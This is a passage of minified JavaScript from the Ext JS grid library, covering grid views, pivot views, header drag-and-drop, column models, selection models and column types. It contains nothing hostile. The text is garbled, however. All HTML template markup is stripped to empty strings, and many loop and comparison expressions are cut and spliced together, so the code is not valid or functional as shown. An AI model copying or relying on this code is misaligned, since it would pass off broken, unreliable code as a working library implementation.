e=0,d=this.altFormatsArray,a=d.length;e=0){if(!d){c=g-1}d=false;while(c>=0){if(e.call(j||this,k,c,i)===true){return[k,c]}c--}k--}}else{if(c>=g){k++;d=false}while(k','
    ','
    ','
    ','
    {header}
    ',"
    ",'
    ',"
    ",'
    ','
    {body}
    ','',"
    ","
    ",'
     
    ','
     
    ',"
    "),headerTpl:new Ext.Template('',"",'{cells}',"","
    "),bodyTpl:new Ext.Template("{rows}"),cellTpl:new Ext.Template('','
    {value}
    ',""),initTemplates:function(){var c=this.templates||{},d,b,g=new Ext.Template('','
    ',this.grid.enableHdMenu?'':"","{value}",'',"
    ",""),a=['','','
    {body}
    ',"",""].join(""),e=['',"","{cells}",this.enableRowBody?a:"","","
    "].join("");Ext.applyIf(c,{hcell:g,cell:this.cellTpl,body:this.bodyTpl,header:this.headerTpl,master:this.masterTpl,row:new Ext.Template('
    '+e+"
    "),rowInner:new Ext.Template(e)});for(b in c){d=c[b];if(d&&Ext.isFunction(d.compile)&&!d.compiled){d.disableFormats=true;d.compile()}}this.templates=c;this.colRe=new RegExp("x-grid3-td-([^\\s]+)","")},fly:function(a){if(!this._flyweight){this._flyweight=new Ext.Element.Flyweight(document.body)}this._flyweight.dom=a;return this._flyweight},getEditorParent:function(){return this.scroller.dom},initElements:function(){var b=Ext.Element,d=Ext.get(this.grid.getGridEl().dom.firstChild),e=new b(d.child("div.x-grid3-viewport")),c=new b(e.child("div.x-grid3-header")),a=new b(e.child("div.x-grid3-scroller"));if(this.grid.hideHeaders){c.setDisplayed(false)}if(this.forceFit){a.setStyle("overflow-x","hidden")}Ext.apply(this,{el:d,mainWrap:e,scroller:a,mainHd:c,innerHd:c.child("div.x-grid3-header-inner").dom,mainBody:new b(b.fly(a).child("div.x-grid3-body")),focusEl:new b(b.fly(a).child("a")),resizeMarker:new b(d.child("div.x-grid3-resize-marker")),resizeProxy:new b(d.child("div.x-grid3-resize-proxy"))});this.focusEl.swallowEvent("click",true)},getRows:function(){return this.hasRows()?this.mainBody.dom.childNodes:[]},findCell:function(a){if(!a){return false}return this.fly(a).findParent(this.cellSelector,this.cellSelectorDepth)},findCellIndex:function(d,c){var b=this.findCell(d),a;if(b){a=this.fly(b).hasClass(c);if(!c||a){return this.getCellIndex(b)}}return false},getCellIndex:function(b){if(b){var a=b.className.match(this.colRe);if(a&&a[1]){return this.cm.getIndexById(a[1])}}return false},findHeaderCell:function(b){var a=this.findCell(b);return a&&this.fly(a).hasClass(this.hdCls)?a:null},findHeaderIndex:function(a){return this.findCellIndex(a,this.hdCls)},findRow:function(a){if(!a){return false}return this.fly(a).findParent(this.rowSelector,this.rowSelectorDepth)},findRowIndex:function(a){var b=this.findRow(a);return b?b.rowIndex:false},findRowBody:function(a){if(!a){return false}return this.fly(a).findParent(this.rowBodySelector,this.rowBodySelectorDepth)},getRow:function(a){return this.getRows()[a]},getCell:function(b,a){return Ext.fly(this.getRow(b)).query(this.cellSelector)[a]},getHeaderCell:function(a){return this.mainHd.dom.getElementsByTagName("td")[a]},addRowClass:function(b,a){var c=this.getRow(b);if(c){this.fly(c).addClass(a)}},removeRowClass:function(c,a){var b=this.getRow(c);if(b){this.fly(b).removeClass(a)}},removeRow:function(a){Ext.removeNode(this.getRow(a));this.syncFocusEl(a)},removeRows:function(c,a){var b=this.mainBody.dom,d;for(d=c;d<=a;d++){Ext.removeNode(b.childNodes[c])}this.syncFocusEl(c)},getScrollState:function(){var a=this.scroller.dom;return{left:a.scrollLeft,top:a.scrollTop}},restoreScroll:function(a){var b=this.scroller.dom;b.scrollLeft=a.left;b.scrollTop=a.top},scrollToTop:function(){var a=this.scroller.dom;a.scrollTop=0;a.scrollLeft=0},syncScroll:function(){this.syncHeaderScroll();var a=this.scroller.dom;this.grid.fireEvent("bodyscroll",a.scrollLeft,a.scrollTop)},syncHeaderScroll:function(){var a=this.innerHd,b=this.scroller.dom.scrollLeft;a.scrollLeft=b;a.scrollLeft=b},updateSortIcon:function(d,c){var a=this.sortClasses,b=a[c=="DESC"?1:0],e=this.mainHd.select("td").removeClass(a);e.item(d).addClass(b)},updateAllColumnWidths:function(){var e=this.getTotalWidth(),k=this.cm.getColumnCount(),m=this.getRows(),g=m.length,b=[],l,a,h,d,c;for(d=0;d=this.ds.getCount()){return null}d=(d!==undefined?d:0);var c=this.getRow(h),b=this.cm,e=b.getColumnCount(),a;if(!(g===false&&d===0)){while(dm){n.scrollTop=q-a}}if(e!==false){var l=parseInt(h.offsetLeft,10),j=l+h.offsetWidth,i=parseInt(n.scrollLeft,10),b=i+n.clientWidth;if(lb){n.scrollLeft=j-n.clientWidth}}}return this.getResolvedXY(r)},insertRows:function(a,i,e,h){var d=a.getCount()-1;if(!h&&i===0&&e>=d){this.fireEvent("beforerowsinserted",this,i,e);this.refresh();this.fireEvent("rowsinserted",this,i,e)}else{if(!h){this.fireEvent("beforerowsinserted",this,i,e)}var b=this.renderRows(i,e),g=this.getRow(i);if(g){if(i===0){Ext.fly(this.getRow(0)).removeClass(this.firstRowCls)}Ext.DomHelper.insertHtml("beforeBegin",g,b)}else{var c=this.getRow(d-1);if(c){Ext.fly(c).removeClass(this.lastRowCls)}Ext.DomHelper.insertHtml("beforeEnd",this.mainBody.dom,b)}if(!h){this.processRows(i);this.fireEvent("rowsinserted",this,i,e)}else{if(i===0||i>=d){Ext.fly(this.getRow(i)).addClass(i===0?this.firstRowCls:this.lastRowCls)}}}this.syncFocusEl(i)},deleteRows:function(a,c,b){if(a.getRowCount()<1){this.refresh()}else{this.fireEvent("beforerowsdeleted",this,c,b);this.removeRows(c,b);this.processRows(c);this.fireEvent("rowsdeleted",this,c,b)}},getColumnStyle:function(b,d){var a=this.cm,g=a.config,c=d?"":g[b].css||"",e=g[b].align;c+=String.format("width: {0};",this.getColumnWidth(b));if(a.isHidden(b)){c+="display: none; "}if(e){c+=String.format("text-align: {0};",e)}return c},getColumnWidth:function(b){var c=this.cm.getColumnWidth(b),a=this.borderWidth;if(Ext.isNumber(c)){if(Ext.isBorderBox||(Ext.isWebKit&&!Ext.isSafari2)){return c+"px"}else{return Math.max(c-a,0)+"px"}}else{return c}},getTotalWidth:function(){return this.cm.getTotalWidth()+"px"},fitColumns:function(g,j,h){var a=this.grid,l=this.cm,s=l.getTotalWidth(false),q=this.getGridInnerWidth(),r=q-s,c=[],o=0,n=0,u,d,p;if(q<20||r===0){return false}var e=l.getColumnCount(true),m=l.getColumnCount(false),b=e-(Ext.isNumber(h)?1:0);if(b===0){b=1;h=undefined}for(p=0;pq){var t=(b==e)?o:h,k=Math.max(1,l.getColumnWidth(t)-(s-q));l.setColumnWidth(t,k,true)}if(g!==true){this.updateAllColumnWidths()}return true},autoExpand:function(k){var a=this.grid,i=this.cm,e=this.getGridInnerWidth(),c=i.getTotalWidth(false),g=a.autoExpandColumn;if(!this.userResized&&g){if(e!=c){var j=i.getIndexById(g),b=i.getColumnWidth(j),h=e-c+b,d=Math.min(Math.max(h,a.autoExpandMin),a.autoExpandMax);if(b!=d){i.setColumnWidth(j,d,true);if(k!==true){this.updateColumnWidth(j,d)}}}}},getGridInnerWidth:function(){return this.grid.getGridEl().getWidth(true)-this.getScrollOffset()},getColumnData:function(){var e=[],c=this.cm,g=c.getColumnCount(),a=this.ds.fields,d,b;for(d=0;d'+this.emptyText+"")}},updateHeaderSortState:function(){var b=this.ds.getSortState();if(!b){return}if(!this.sortState||(this.sortState.field!=b.field||this.sortState.direction!=b.direction)){this.grid.fireEvent("sortchange",this.grid,b)}this.sortState=b;var c=this.cm.findColumnIndex(b.field);if(c!=-1){var a=b.direction;this.updateSortIcon(c,a)}},clearHeaderSortState:function(){if(!this.sortState){return}this.grid.fireEvent("sortchange",this.grid,null);this.mainHd.select("td").removeClass(this.sortClasses);delete this.sortState},destroy:function(){var j=this,a=j.grid,d=a.getGridEl(),i=j.dragZone,g=j.splitZone,h=j.columnDrag,e=j.columnDrop,k=j.scrollToTopTask,c,b;if(k&&k.cancel){k.cancel()}Ext.destroyMembers(j,"colMenu","hmenu");j.initData(null,null);j.purgeListeners();Ext.fly(j.innerHd).un("click",j.handleHdDown,j);if(a.enableColumnMove){c=h.dragData;b=h.proxy;Ext.destroy(h.el,b.ghost,b.el,e.el,e.proxyTop,e.proxyBottom,c.ddel,c.header);if(b.anim){Ext.destroy(b.anim)}delete b.ghost;delete c.ddel;delete c.header;h.destroy();delete Ext.dd.DDM.locationCache[h.id];delete h._domRef;delete e.proxyTop;delete e.proxyBottom;e.destroy();delete Ext.dd.DDM.locationCache["gridHeader"+d.id];delete e._domRef;delete Ext.dd.DDM.ids[e.ddGroup]}if(g){g.destroy();delete g._domRef;delete Ext.dd.DDM.ids["gridSplitters"+d.id]}Ext.fly(j.innerHd).removeAllListeners();Ext.removeNode(j.innerHd);delete j.innerHd;Ext.destroy(j.el,j.mainWrap,j.mainHd,j.scroller,j.mainBody,j.focusEl,j.resizeMarker,j.resizeProxy,j.activeHdBtn,j._flyweight,i,g);delete a.container;if(i){i.destroy()}Ext.dd.DDM.currentTarget=null;delete Ext.dd.DDM.locationCache[d.id];Ext.EventManager.removeResizeListener(j.onWindowResize,j)},onDenyColumnHide:function(){},render:function(){if(this.autoFill){var a=this.grid.ownerCt;if(a&&a.getLayout()){a.on("afterlayout",function(){this.fitColumns(true,true);this.updateHeaders();this.updateHeaderSortState()},this,{single:true})}}else{if(this.forceFit){this.fitColumns(true,false)}else{if(this.grid.autoExpandColumn){this.autoExpand(true)}}}this.grid.getGridEl().dom.innerHTML=this.renderUI();this.afterRenderUI()},initData:function(a,e){var b=this;if(b.ds){var d=b.ds;d.un("add",b.onAdd,b);d.un("load",b.onLoad,b);d.un("clear",b.onClear,b);d.un("remove",b.onRemove,b);d.un("update",b.onUpdate,b);d.un("datachanged",b.onDataChange,b);if(d!==a&&d.autoDestroy){d.destroy()}}if(a){a.on({scope:b,load:b.onLoad,add:b.onAdd,remove:b.onRemove,update:b.onUpdate,clear:b.onClear,datachanged:b.onDataChange})}if(b.cm){var c=b.cm;c.un("configchange",b.onColConfigChange,b);c.un("widthchange",b.onColWidthChange,b);c.un("headerchange",b.onHeaderChange,b);c.un("hiddenchange",b.onHiddenChange,b);c.un("columnmoved",b.onColumnMove,b)}if(e){delete b.lastViewWidth;e.on({scope:b,configchange:b.onColConfigChange,widthchange:b.onColWidthChange,headerchange:b.onHeaderChange,hiddenchange:b.onHiddenChange,columnmoved:b.onColumnMove})}b.ds=a;b.cm=e},onDataChange:function(){this.refresh(true);this.updateHeaderSortState();this.syncFocusEl(0)},onClear:function(){this.refresh();this.syncFocusEl(0)},onUpdate:function(b,a){this.refreshRow(a)},onAdd:function(b,a,c){this.insertRows(b,c,c+(a.length-1))},onRemove:function(b,a,c,d){if(d!==true){this.fireEvent("beforerowremoved",this,c,a)}this.removeRow(c);if(d!==true){this.processRows(c);this.applyEmptyText();this.fireEvent("rowremoved",this,c,a)}},onLoad:function(){if(Ext.isGecko){if(!this.scrollToTopTask){this.scrollToTopTask=new Ext.util.DelayedTask(this.scrollToTop,this)}this.scrollToTopTask.delay(1)}else{this.scrollToTop()}},onColWidthChange:function(a,b,c){this.updateColumnWidth(b,c)},onHeaderChange:function(a,b,c){this.updateHeaders()},onHiddenChange:function(a,b,c){this.updateColumnHidden(b,c)},onColumnMove:function(a,c,b){this.indexMap=null;this.refresh(true);this.restoreScroll(this.getScrollState());this.afterMove(b);this.grid.fireEvent("columnmove",c,b)},onColConfigChange:function(){delete this.lastViewWidth;this.indexMap=null;this.refresh(true)},initUI:function(a){a.on("headerclick",this.onHeaderClick,this)},initEvents:Ext.emptyFn,onHeaderClick:function(b,a){if(this.headersDisabled||!this.cm.isSortable(a)){return}b.stopEditing(true);b.store.sort(this.cm.getDataIndex(a))},onRowOver:function(b,a){var c=this.findRowIndex(a);if(c!==false){this.addRowClass(c,this.rowOverCls)}},onRowOut:function(b,a){var c=this.findRowIndex(a);if(c!==false&&!b.within(this.getRow(c),true)){this.removeRowClass(c,this.rowOverCls)}},onRowSelect:function(a){this.addRowClass(a,this.selectedRowClass)},onRowDeselect:function(a){this.removeRowClass(a,this.selectedRowClass)},onCellSelect:function(c,b){var a=this.getCell(c,b);if(a){this.fly(a).addClass("x-grid3-cell-selected")}},onCellDeselect:function(c,b){var a=this.getCell(c,b);if(a){this.fly(a).removeClass("x-grid3-cell-selected")}},handleWheel:function(a){a.stopPropagation()},onColumnSplitterMoved:function(a,b){this.userResized=true;this.grid.colModel.setColumnWidth(a,b,true);if(this.forceFit){this.fitColumns(true,false,a);this.updateAllColumnWidths()}else{this.updateColumnWidth(a,b);this.syncHeaderScroll()}this.grid.fireEvent("columnresize",a,b)},beforeColMenuShow:function(){var b=this.cm,d=b.getColumnCount(),a=this.colMenu,c;a.removeAll();for(c=0;c0){if(!this.cm.isHidden(a-1)){return a}a--}return undefined},handleHdOver:function(c,b){var d=this.findHeaderCell(b);if(d&&!this.headersDisabled){var a=this.fly(d);this.activeHdRef=b;this.activeHdIndex=this.getCellIndex(d);this.activeHdRegion=a.getRegion();if(!this.isMenuDisabled(this.activeHdIndex,a)){a.addClass("x-grid3-hd-over");this.activeHdBtn=a.child(".x-grid3-hd-btn");if(this.activeHdBtn){this.activeHdBtn.dom.style.height=(d.firstChild.offsetHeight-1)+"px"}}}},handleHdOut:function(b,a){var c=this.findHeaderCell(a);if(c&&(!Ext.isIE||!b.within(c,true))){this.activeHdRef=null;this.fly(c).removeClass("x-grid3-hd-over");c.style.cursor=""}},isMenuDisabled:function(a,b){return this.cm.isMenuDisabled(a)},hasRows:function(){var a=this.mainBody.dom.firstChild;return a&&a.nodeType==1&&a.className!="x-grid-empty"},isHideableColumn:function(a){return !a.hidden},bind:function(a,b){this.initData(a,b)}});Ext.grid.GridView.SplitDragZone=Ext.extend(Ext.dd.DDProxy,{constructor:function(a,b){this.grid=a;this.view=a.getView();this.marker=this.view.resizeMarker;this.proxy=this.view.resizeProxy;Ext.grid.GridView.SplitDragZone.superclass.constructor.call(this,b,"gridSplitters"+this.grid.getGridEl().id,{dragElId:Ext.id(this.proxy.dom),resizeFrame:false});this.scroll=false;this.hw=this.view.splitHandleWidth||5},b4StartDrag:function(a,e){this.dragHeadersDisabled=this.view.headersDisabled;this.view.headersDisabled=true;var d=this.view.mainWrap.getHeight();this.marker.setHeight(d);this.marker.show();this.marker.alignTo(this.view.getHeaderCell(this.cellIndex),"tl-tl",[-2,0]);this.proxy.setHeight(d);var b=this.cm.getColumnWidth(this.cellIndex),c=Math.max(b-this.grid.minColumnWidth,0);this.resetConstraints();this.setXConstraint(c,1000);this.setYConstraint(0,0);this.minX=a-c;this.maxX=a+1000;this.startPos=a;Ext.dd.DDProxy.prototype.b4StartDrag.call(this,a,e)},allowHeaderDrag:function(a){return true},handleMouseDown:function(a){var h=this.view.findHeaderCell(a.getTarget());if(h&&this.allowHeaderDrag(a)){var k=this.view.fly(h).getXY(),c=k[0],i=a.getXY(),b=i[0],g=h.offsetWidth,d=false;if((b-c)<=this.hw){d=-1}else{if((c+g)-b<=this.hw){d=0}}if(d!==false){this.cm=this.grid.colModel;var j=this.view.getCellIndex(h);if(d==-1){if(j+d<0){return}while(this.cm.isHidden(j+d)){--d;if(j+d<0){return}}}this.cellIndex=j+d;this.split=h.dom;if(this.cm.isResizable(this.cellIndex)&&!this.cm.isFixed(this.cellIndex)){Ext.grid.GridView.SplitDragZone.superclass.handleMouseDown.apply(this,arguments)}}else{if(this.view.columnDrag){this.view.columnDrag.callHandleMouseDown(a)}}}},endDrag:function(g){this.marker.hide();var a=this.view,c=Math.max(this.minX,g.getPageX()),d=c-this.startPos,b=this.dragHeadersDisabled;a.onColumnSplitterMoved(this.cellIndex,this.cm.getColumnWidth(this.cellIndex)+d);setTimeout(function(){a.headersDisabled=b},50)},autoOffset:function(){this.setDelta(0,0)}});Ext.grid.PivotGridView=Ext.extend(Ext.grid.GridView,{colHeaderCellCls:"grid-hd-group-cell",title:"",getColumnHeaders:function(){return this.grid.topAxis.buildHeaders()},getRowHeaders:function(){return this.grid.leftAxis.buildHeaders()},renderRows:function(a,t){var b=this.grid,o=b.extractData(),p=o.length,g=this.templates,s=b.renderer,h=typeof s=="function",w=this.getCellCls,n=typeof w=="function",d=g.cell,x=g.row,k=[],q={},c="width:"+this.getGridInnerWidth()+"px;",l,r,e,v,m;a=a||0;t=Ext.isDefined(t)?t:p-1;for(v=0;v','
    ','
    ','
    {title}
    ','
    ','
    ',"
    ",'
    ',"
    ",'
    ','
    ','
    {body}
    ','',"
    ","
    ",'
     
    ','
     
    ',""),initTemplates:function(){Ext.grid.PivotGridView.superclass.initTemplates.apply(this,arguments);var a=this.templates||{};if(!a.gcell){a.gcell=new Ext.XTemplate('','
    ',this.grid.enableHdMenu?'':"","{value}","
    ","")}this.templates=a;this.hrowRe=new RegExp("ux-grid-hd-group-row-(\\d+)","")},initElements:function(){Ext.grid.PivotGridView.superclass.initElements.apply(this,arguments);this.rowHeadersEl=new Ext.Element(this.scroller.child("div.x-grid3-row-headers"));this.headerTitleEl=new Ext.Element(this.mainHd.child("div.x-grid3-header-title"))},getGridInnerWidth:function(){var a=Ext.grid.PivotGridView.superclass.getGridInnerWidth.apply(this,arguments);return a-this.getTotalRowHeaderWidth()},getTotalRowHeaderWidth:function(){var d=this.getRowHeaders(),c=d.length,b=0,a;for(a=0;a0&&d>0){h=h||o.data[a[g-1].dataIndex]!=l[d-1].data[a[g-1].dataIndex]}if(h){s.push({header:q,span:p,start:b});b+=p;p=0}if(k){s.push({header:n,span:p+1,start:b});b+=p;p=0}q=n;p++}c.push({items:s,width:e.width||this.defaultHeaderWidth});q=undefined}return c}});Ext.grid.HeaderDragZone=Ext.extend(Ext.dd.DragZone,{maxDragWidth:120,constructor:function(a,c,b){this.grid=a;this.view=a.getView();this.ddGroup="gridHeader"+this.grid.getGridEl().id;Ext.grid.HeaderDragZone.superclass.constructor.call(this,c);if(b){this.setHandleElId(Ext.id(c));this.setOuterHandleElId(Ext.id(b))}this.scroll=false},getDragData:function(c){var a=Ext.lib.Event.getTarget(c),b=this.view.findHeaderCell(a);if(b){return{ddel:b.firstChild,header:b}}return false},onInitDrag:function(a){this.dragHeadersDisabled=this.view.headersDisabled;this.view.headersDisabled=true;var b=this.dragData.ddel.cloneNode(true);b.id=Ext.id();b.style.width=Math.min(this.dragData.header.offsetWidth,this.maxDragWidth)+"px";this.proxy.update(b);return true},afterValidDrop:function(){this.completeDrop()},afterInvalidDrop:function(){this.completeDrop()},completeDrop:function(){var a=this.view,b=this.dragHeadersDisabled;setTimeout(function(){a.headersDisabled=b},50)}});Ext.grid.HeaderDropZone=Ext.extend(Ext.dd.DropZone,{proxyOffsets:[-4,-9],fly:Ext.Element.fly,constructor:function(a,c,b){this.grid=a;this.view=a.getView();this.proxyTop=Ext.DomHelper.append(document.body,{cls:"col-move-top",html:" "},true);this.proxyBottom=Ext.DomHelper.append(document.body,{cls:"col-move-bottom",html:" "},true);this.proxyTop.hide=this.proxyBottom.hide=function(){this.setLeftTop(-100,-100);this.setStyle("visibility","hidden")};this.ddGroup="gridHeader"+this.grid.getGridEl().id;Ext.grid.HeaderDropZone.superclass.constructor.call(this,a.getGridEl().dom)},getTargetFromEvent:function(c){var a=Ext.lib.Event.getTarget(c),b=this.view.findCellIndex(a);if(b!==false){return this.view.getHeaderCell(b)}},nextVisible:function(c){var b=this.view,a=this.grid.colModel;c=c.nextSibling;while(c){if(!a.isHidden(b.getCellIndex(c))){return c}c=c.nextSibling}return null},prevVisible:function(c){var b=this.view,a=this.grid.colModel;c=c.prevSibling;while(c){if(!a.isHidden(b.getCellIndex(c))){return c}c=c.prevSibling}return null},positionIndicator:function(d,k,j){var a=Ext.lib.Event.getPageX(j),g=Ext.lib.Dom.getRegion(k.firstChild),c,i,b=g.top+this.proxyOffsets[1];if((g.right-a)<=(g.right-g.left)/2){c=g.right+this.view.borderWidth;i="after"}else{c=g.left;i="before"}if(this.grid.colModel.isFixed(this.view.getCellIndex(k))){return false}c+=this.proxyOffsets[0];this.proxyTop.setLeftTop(c,b);this.proxyTop.show();if(!this.bottomOffset){this.bottomOffset=this.view.mainHd.getHeight()}this.proxyBottom.setLeftTop(c,b+this.proxyTop.dom.offsetHeight+this.bottomOffset);this.proxyBottom.show();return i},onNodeEnter:function(d,a,c,b){if(b.header!=d){this.positionIndicator(b.header,d,c)}},onNodeOver:function(g,b,d,c){var a=false;if(c.header!=g){a=this.positionIndicator(c.header,g,d)}if(!a){this.proxyTop.hide();this.proxyBottom.hide()}return a?this.dropAllowed:this.dropNotAllowed},onNodeOut:function(d,a,c,b){this.proxyTop.hide();this.proxyBottom.hide()},onNodeDrop:function(b,m,g,c){var d=c.header;if(d!=b){var k=this.grid.colModel,j=Ext.lib.Event.getPageX(g),a=Ext.lib.Dom.getRegion(b.firstChild),o=(a.right-j)<=((a.right-a.left)/2)?"after":"before",i=this.view.getCellIndex(d),l=this.view.getCellIndex(b);if(o=="after"){l++}if(i=0&&this.config[a].resizable!==false&&this.config[a].fixed!==true},setHidden:function(a,b){var d=this.config[a];if(d.hidden!==b){d.hidden=b;this.totalWidth=null;this.fireEvent("hiddenchange",this,a,b)}},setEditor:function(a,b){this.config[a].setEditor(b)},destroy:function(){var b=this.config.length,a=0;for(;a0},isSelected:function(a){var b=Ext.isNumber(a)?this.grid.store.getAt(a):a;return(b&&this.selections.key(b.id)?true:false)},isIdSelected:function(a){return(this.selections.key(a)?true:false)},handleMouseDown:function(d,i,h){if(h.button!==0||this.isLocked()){return}var a=this.grid.getView();if(h.shiftKey&&!this.singleSelect&&this.last!==false){var c=this.last;this.selectRange(c,i,h.ctrlKey);this.last=c;a.focusRow(i)}else{var b=this.isSelected(i);if(h.ctrlKey&&b){this.deselectRow(i)}else{if(!b||this.getCount()>1){this.selectRow(i,h.ctrlKey||h.shiftKey);a.focusRow(i)}}}},selectRows:function(c,d){if(!d){this.clearSelections()}for(var b=0,a=c.length;b=a;c--){this.selectRow(c,true)}}},deselectRange:function(c,b,a){if(this.isLocked()){return}for(var d=c;d<=b;d++){this.deselectRow(d,a)}},selectRow:function(b,d,a){if(this.isLocked()||(b<0||b>=this.grid.store.getCount())||(d&&this.isSelected(b))){return}var c=this.grid.store.getAt(b);if(c&&this.fireEvent("beforerowselect",this,b,d,c)!==false){if(!d||this.singleSelect){this.clearSelections()}this.selections.add(c);this.last=this.lastActive=b;if(!a){this.grid.getView().onRowSelect(b)}if(!this.silent){this.fireEvent("rowselect",this,b,c);this.fireEvent("selectionchange",this)}}},deselectRow:function(b,a){if(this.isLocked()){return}if(this.last==b){this.last=false}if(this.lastActive==b){this.lastActive=false}var c=this.grid.store.getAt(b);if(c){this.selections.remove(c);if(!a){this.grid.getView().onRowDeselect(b)}this.fireEvent("rowdeselect",this,b,c);this.fireEvent("selectionchange",this)}},acceptsNav:function(c,b,a){return !a.isHidden(b)&&a.isCellEditable(b,c)},onEditorKey:function(n,l){var d=l.getKey(),h,i=this.grid,p=i.lastEdit,j=i.activeEditor,b=l.shiftKey,o,p,a,m;if(d==l.TAB){l.stopEvent();j.completeEdit();if(b){h=i.walkCells(j.row,j.col-1,-1,this.acceptsNav,this)}else{h=i.walkCells(j.row,j.col+1,1,this.acceptsNav,this)}}else{if(d==l.ENTER){if(this.moveEditorOnEnter!==false){if(b){h=i.walkCells(p.row-1,p.col,-1,this.acceptsNav,this)}else{h=i.walkCells(p.row+1,p.col,1,this.acceptsNav,this)}}}}if(h){a=h[0];m=h[1];this.onEditorSelect(a,p.row);if(i.isEditor&&i.editing){o=i.activeEditor;if(o&&o.field.triggerBlur){o.field.triggerBlur()}}i.startEditing(a,m)}},onEditorSelect:function(b,a){if(a!=b){this.selectRow(b)}},destroy:function(){Ext.destroy(this.rowNav);this.rowNav=null;Ext.grid.RowSelectionModel.superclass.destroy.call(this)}});Ext.grid.Column=Ext.extend(Ext.util.Observable,{isColumn:true,constructor:function(b){Ext.apply(this,b);if(Ext.isString(this.renderer)){this.renderer=Ext.util.Format[this.renderer]}else{if(Ext.isObject(this.renderer)){this.scope=this.renderer.scope;this.renderer=this.renderer.fn}}if(!this.scope){this.scope=this}var a=this.editor;delete this.editor;this.setEditor(a);this.addEvents("click","contextmenu","dblclick","mousedown");Ext.grid.Column.superclass.constructor.call(this)},processEvent:function(b,d,c,g,a){return this.fireEvent(b,this,c,g,d)},destroy:function(){if(this.setEditor){this.setEditor(null)}this.purgeListeners()},renderer:function(a){return a},getEditor:function(a){return this.editable!==false?this.editor:null},setEditor:function(b){var a=this.editor;if(a){if(a.gridEditor){a.gridEditor.destroy();delete a.gridEditor}else{a.destroy()}}this.editor=null;if(b){if(!b.isXType){b=Ext.create(b,"textfield")}this.editor=b}},getCellEditor:function(b){var a=this.getEditor(b);if(a){if(!a.startEdit){if(!a.gridEditor){a.gridEditor=new Ext.grid.GridEditor(a)}a=a.gridEditor}}return a}});Ext.grid.BooleanColumn=Ext.extend(Ext.grid.Column,{trueText:"true",falseText:"false",undefinedText:" ",constructor:function(a){Ext.grid.BooleanColumn.superclass.constructor.call(this,a);var c=this.trueText,d=this.falseText,b=this.undefinedText;this.renderer=function(e){if(e===undefined){return b}if(!e||e==="false"){return d}return c}}});Ext.grid.NumberColumn=Ext.extend(Ext.grid.Column,{format:"0,000.00",constructor:function(a){Ext.grid.NumberColumn.superclass.constructor.call(this,a);this.renderer=Ext.util.Format.numberRenderer(this.format)}});Ext.grid.DateColumn=Ext.extend(Ext.grid.Column,{format:"m/d/Y",constructor:function(a){Ext.grid.DateColumn.superclass.constructor.call(this,a);this.renderer=Ext.util.Format.dateRenderer(this.format)}});Ext.grid.TemplateColumn=Ext.extend(Ext.grid.Column,{constructor:function(a){Ext.grid.TemplateColumn.superclass.constructor.call(this,a);var b=(!Ext.isPrimitive(this.tpl)&&this.tpl.compile)?this.tpl:new Ext.XTemplate(this.tpl);this.renderer=function(d,e,c){return b.apply(c.data)};this.tpl=b}});Ext.grid.ActionColumn=Ext.extend(Ext.grid.Column,{header:" ",actionIdRe:/x-action-col-(\d+)/,altText:"",constructor:function(b){var g=this,c=b.items||(g.items=[g]),a=c.length,d,e;Ext.grid.ActionColumn.superclass.constructor.call(g,b);g.renderer=function(h,i){h=Ext.isFunction(b.renderer)?b.renderer.apply(this,arguments)||"":"";i.css+=" x-action-col-cell";for(d=0;d"}return h}},destroy:function(){delete this.items;delete this.renderer;return Ext.grid.ActionColumn.superclass.destroy.apply(this,arguments)},processEvent:function(c,i,d,j,b){var a=i.getTarget().className.match(this.actionIdRe),h,g;if(a&&(h=this.items[parseInt(a[1],10)])){if(c=="click"){(g=h.handler||this.handler)&&g.call(h.scope||this.scope||this,d,j,b,h,i)}else{if((c=="mousedown")&&(h.stopSelection!==false)){return false}}}return Ext.grid.ActionColumn.superclass.processEvent.apply(this,arguments)}});Ext.grid.Column.types={gridcolumn:Ext.grid.Column,booleancolumn:Ext.grid.BooleanColumn,numbercolumn:Ext.grid.NumberColumn,datecolumn:Ext.grid.DateColumn,templatecolumn:Ext.grid.TemplateColumn,actioncolumn:Ext.grid.ActionColumn};Ext.grid.RowNumberer=Ext.extend(Object,{header:"",width:23,sortable:false,constructor:function(a){Ext.apply(this,a);if(this.rowspan){this.renderer=this.renderer.createDelegate(this)}},fixed:true,hideable:false,menuDisabled:true,dataIndex:"",id:"numberer",rowspan:undefined,renderer:function(b,c,a,d){if(this.rowspan){c.cellAttr='rowspan="'+this.rowspan+'"'}return d+1}});Ext.grid.CheckboxSelectionModel=Ext.extend(Ext.grid.RowSelectionModel,{header:'
     
    ',width:20,sortable:false,menuDisabled:true,fixed:true,hideable:false,dataIndex:"",id:"checker",isColumn:true,constructor:function(){Ext.grid.CheckboxSelectionModel.superclass.constructor.apply(this,arguments);if(this.checkOnly){this.handleMouseDown=Ext.emptyFn}},initEvents:function(){Ext.grid.CheckboxSelectionModel.superclass.initEvents.call(this);this.grid.on("render",function(){Ext.fly(this.grid.getView().innerHd).on("mousedown",this.onHdMouseDown,this)},this)},processEvent:function(b,d,c,g,a){if(b=="mousedown"){this.onMouseDown(d,d.getTarget());return false}else{return Ext.grid.Column.prototype.processEvent.apply(this,arguments)}},onMouseDown:function(c,b){if(c.button===0&&b.className=="x-grid3-row-checker"){c.stopEvent();var d=c.getTarget(".x-grid3-row");if(d){var a=d.rowIndex;if(this.isSelected(a)){this.deselectRow(a)}else{this.selectRow(a,true);this.grid.getView().focusRow(a)}}}},onHdMouseDown:function(c,a){if(a.className=="x-grid3-hd-checker"){c.stopEvent();var b=Ext.fly(a.parentNode);var d=b.hasClass("x-grid3-hd-checker-on");if(d){b.removeClass("x-grid3-hd-checker-on");this.clearSelections()}else{b.addClass("x-grid3-hd-checker-on");this.selectAll()}}},renderer:function(b,c,a){return'
     
    '},onEditorSelect:function(b,a){if(a!=b&&!this.checkOnly){this.selectRow(b)}}});Ext.grid.CellSelectionModel=Ext.extend(Ext.grid.AbstractSelectionModel,{constructor:function(a){Ext.apply(this,a);this.selection=null;this.addEvents("beforecellselect","cellselect","selectionchange");Ext.grid.CellSelectionModel.superclass.constructor.call(this)},initEvents:function(){this.grid.on("cellmousedown",this.handleMouseDown,this);this.grid.on(Ext.EventManager.getKeyEvent(),this.handleKeyDown,this);this.grid.getView().on({scope:this,refresh:this.onViewChange,rowupdated:this.onRowUpdated,beforerowremoved:this.clearSelections,beforerowsinserted:this.clearSelections});if(this.grid.isEditor){this.grid.on("beforeedit",this.beforeEdit,this)}},beforeEdit:function(a){this.select(a.row,a.column,false,true,a.record)},onRowUpdated:function(a,b,c){if(this.selection&&this.selection.record==c){a.onCellSelect(b,this.selection.cell[1])}},onViewChange:function(){thi